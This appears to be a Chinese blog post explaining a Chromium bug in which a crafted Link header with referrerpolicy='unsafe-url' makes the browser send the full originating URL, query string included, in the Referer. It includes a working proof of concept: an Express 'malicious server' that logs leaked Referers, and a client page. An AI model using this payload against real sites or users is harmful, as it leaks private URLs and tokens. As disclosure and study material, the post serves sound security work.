挺有意思的一个漏洞,用到了link头功能,简单来说chromium在对link头的处理上存在缺陷,导致了Referer可能携带敏感信息

payload:

server

const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();
const port = 3001;

const logoPath = path.join(__dirname, 'logo.png');

if (!fs.existsSync(logoPath)) {
    const pngBase64 = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR4nGNgYAAAAAMAAWgmWQ0AAAAASUVORK5CYII=';
    fs.writeFileSync(logoPath, Buffer.from(pngBase64, 'base64'));
    console.log('自动生成了 logo.png');
}

app.get('/image', (req, res) => {
    res.setHeader(
        'Link',
        '<http://127.0.0.1:3001/log>;rel="preload";as="image";referrerpolicy="unsafe-url"'
    );
    res.sendFile(logoPath, err => {
        if (err) {
            res.status(500).send('图片加载失败');
        }
    });
});

app.get('/log', (req, res) => {
    const referer = req.headers['referer'];
    console.log('收到 /log 请求,Referer:', referer);
    res.send('Hi!');
});

app.listen(port, '0.0.0.0', () => {
    console.log(`恶意服务器已启动: http://127.0.0.1:${port}`);
});

client

<!DOCTYPE html>
<html>
<head>
  <title>Logo</title>
</head>
<body>
  <h1>Logo Picture</h1>
  <img src="http://127.0.0.1:3001/image" alt="Logo Picture">
</body>
</html>

不难看到在payload

<http://127.0.0.1:3001/log>;rel="preload";as="image";referrerpolicy="unsafe-url"

中 关键点是他被允许插入referrerpolicy=“unsafe-url”,这就导致了在所有情况下,无论是同源请求还是跨域请求,无论是从 HTTPS 安全页面导航到 HTTP 不安全页面的协议降级,浏览器都会在Referer中携带完整的原始 URL,包括查询内容,进而导致了信息泄漏